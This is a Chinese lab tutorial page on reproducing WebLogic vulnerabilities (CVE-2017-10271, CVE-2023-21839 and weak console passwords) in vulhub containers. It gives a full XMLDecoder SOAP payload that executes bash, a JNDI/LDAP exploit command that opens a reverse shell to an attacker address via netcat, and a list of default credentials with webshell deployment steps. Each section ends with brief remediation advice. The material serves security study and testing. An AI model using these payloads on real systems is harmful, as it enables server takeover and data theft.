漏洞复现
01-环境搭建
02-Tomcat
03-Nginx
04-Apache
05-JBoss
06-WebLogic
07-Nacos
08-Struts2
09-Spring
10-Log4j2
11-Shiro
12-FastJson
13-RuoYi
14-ThinkPHP
-
+
06-WebLogic
浏览
1
# 一、WebLogic  WebLogic 是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 # 二、CVE-2017-10271 ## 漏洞描述 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。 ## 影响范围 - Weblogic 10.3.6.0 - Weblogic 12.1.3.0 - Weblogic 12.2.1.2 - Weblogic 12.2.1.3 ## 漏洞原理 漏洞出现在wls-wsat.war中,该组件使用了weblogic自带的webservices处理程序来处理SOAP请求。 ```txt SOAP(简单对象访问协议,是基于 XML 格式的 Web 服务通信协议,多用于 WebService 接口,常见于旧 Java 系统、WebLogic、JBoss。 - 底层可以跑在 HTTP 上;请求体全部是 XML 数据。 - 和普通 HTTP JSON 接口不一样:body 是完整 XML 报文。 ``` 然后在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据传递给XMLDecoder来解析。 解析XML的调用链为: ```txt weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld weblogic.wsee.workarea.WorkContextXmlInputAdapter ``` ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./weblogic/CVE-2017-10271/ root@ubuntu:~/vulhub/weblogic/CVE-2017-10271# docker compose up -d ```   访问路径:漏洞可能出现的路径,向以下路径发送xml payload均可以触发漏洞 ```txt /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 ```  抓取数据包并进行修改: ```http POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.4:7001 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/maolin</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ```  返回容器内查看是否有新创建文件  ## 修复建议 - 升级版本 # 三、CVE-2023-21839 ## 漏洞描述 WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功后,WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。 T3协议:T3 是 WebLogic 私有专有协议,WebLogic 自己开发,用于 RMI、JNDI、集群通信、Java 客户端和服务端交互,传输二进制数据,报文内部携带 Java 序列化对象。 IIOP 协议:CORBA 国际标准公开协议,不是 WebLogic 私有;用来实现跨语言远程对象调用(Java、C++ 等),WebLogic 实现 RMI‑IIOP,允许通过 IIOP 做 Java 远程调用,同样会对传入数据做 Java 反序列化。 值得注意的是:两个协议都是跑在7001 端口 TCP,不是 HTTP 协议,浏览器无法访问;协议内部传输 Java 序列化对象。 RMI(Remote Method Invocation,Java 远程方法调用):允许一台 JVM 上的 Java 程序,调用另一台 JVM 上的 Java 对象方法,跨机器调用 Java 代码。 JNDI 不是网络协议,是 Java 一套统一查询 API,可以访问多种目录服务:RMI、LDAP、DNS、JDBC 等,核心方法:InitialContext.lookup("地址"),传入一个字符串地址,去远程服务查找对象。 lookup 的参数如果是攻击者可控,就会产生 JNDI 注入漏洞。 JVM 是运行 Java 字节码 .class文件的虚拟机 - JDK = JDK 编译器javac + JRE(JVM + 类库),开发 Java 程序用; - JRE = JVM + Java 基础类库,只运行 class,没有 javac 编译器; - JVM:仅仅是虚拟机,负责解析执行 class 字节码。 ## 影响范围 - 2.2.1.3.0 - 12.2.1.4.0 - 14.1.1.0.0 ## 漏洞复现 进入靶场环境,启动容器: ```shell root@ubuntu:~/vulhub# cd ./weblogic/CVE‑2023‑21839 root@ubuntu:~/vulhub/weblogic/CVE‑2023‑21839# docker compose up -d ``` 访问靶场的console口,http://192.168.124.130:7001/console/  windows 下载netcat :https://eternallybored.org/misc/netcat/ netcat 简称 nc,被称为网络界的 “瑞士军刀”,是跨平台的网络工具,Linux/macOS/windows 都可以使用, 主要做 TCP/UDP 的连接、监听、端口扫描、传输数据、反弹 shell。 netcat分为两种模式:客户端模式(连接别人)与 服务端模式(本机开启端口监听,等待别人连过来) 常用命令: ``` -n # 不做域名解析,直接IP -v # 详细输出,显示连接信息 -z # 端口扫描,只探测端口通不通,不发送数据 -l # 开启监听模式(做服务端) -p # 指定监听端口 -e # 连接成功后执行程序(反弹shell核心参数,部分版本不支持) ``` 首先搭建LDAP服务: ```txt java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机器ip地址 ``` ```cmd java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.124.128 C:\Users\lin\Desktop\WebLogic>java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.124.128 [+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 3456... ```  接着在攻击机器中启动监听端口: ```txt nc -lvnp 端口 ``` ```txt C:\Users\lin\Desktop\WebLogic>nc64.exe -lvnp 8889 listening on [any] 8889 ... ```  最后攻击机器执行exp: ```shell java -jar Weblogic-CVE-2023-21839.jar 靶场IP:7001 ldap://ldap服务器IP地址:1389/Basic/ReverseShell/ldap服务器IP地址/nc监听端口 ``` ```shell java -jar Weblogic-CVE-2023-21839.jar 192.168.124.130:7001 ldap://192.168.124.128:1389/Basic/ReverseShell/192.168.124.128/8889 ```  查看nc监听状态,反弹shell成功:  进入靶机容器查看  ## 修复建议 - 目前厂商已发布升级补丁以修复漏洞; - 缓解方式禁用 T3 及 IIOP。 # 四、弱口令 ## 漏洞描述 weak_password,WebLogic 管理控制台/console,管理员未修改默认账号密码,或者设置简单弱口令。 攻击者可直接登录后台,部署恶意 war 包,上传 JSP Webshell,实现服务器远程代码执行,获取服务器控制权。 ## 影响范围 - WebLogic 全版本,只要控制台账号为弱口令 / 默认密码就受影响 ## 漏洞复现 进入靶场环境,启动容器 ```shell root@ubuntu:~/vulhub# cd vulhub/weblogic/weak_password root@ubuntu:~vulhub/weblogic/weak_password# docker compose up -d ``` 访问目标控制台地址,http://虚拟机IP:7001/console  常见弱口令: ```txt weblogic/Oracle@123 system/password weblogic/weblogic admin/secruity joe/password mary/password system/sercurity wlcsystem/wlcsystemweb ``` 找到可以部署war的功能点     后续默认全部下一步直到完成,保存  部署结束  访问木马地址   ## 修复建议 - 修改管理账号密码,使用高强度密码(大小写 + 数字 + 特殊字符,长度≥12 位),禁用默认弱口令; - 开启账号锁定策略:多次密码错误锁定账号,抵御暴力破解; - 禁止公网暴露 7001 管理端口,防火墙限制仅内网运维 IP 访问控制台。
毛林
2026年11月15日 18:41
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~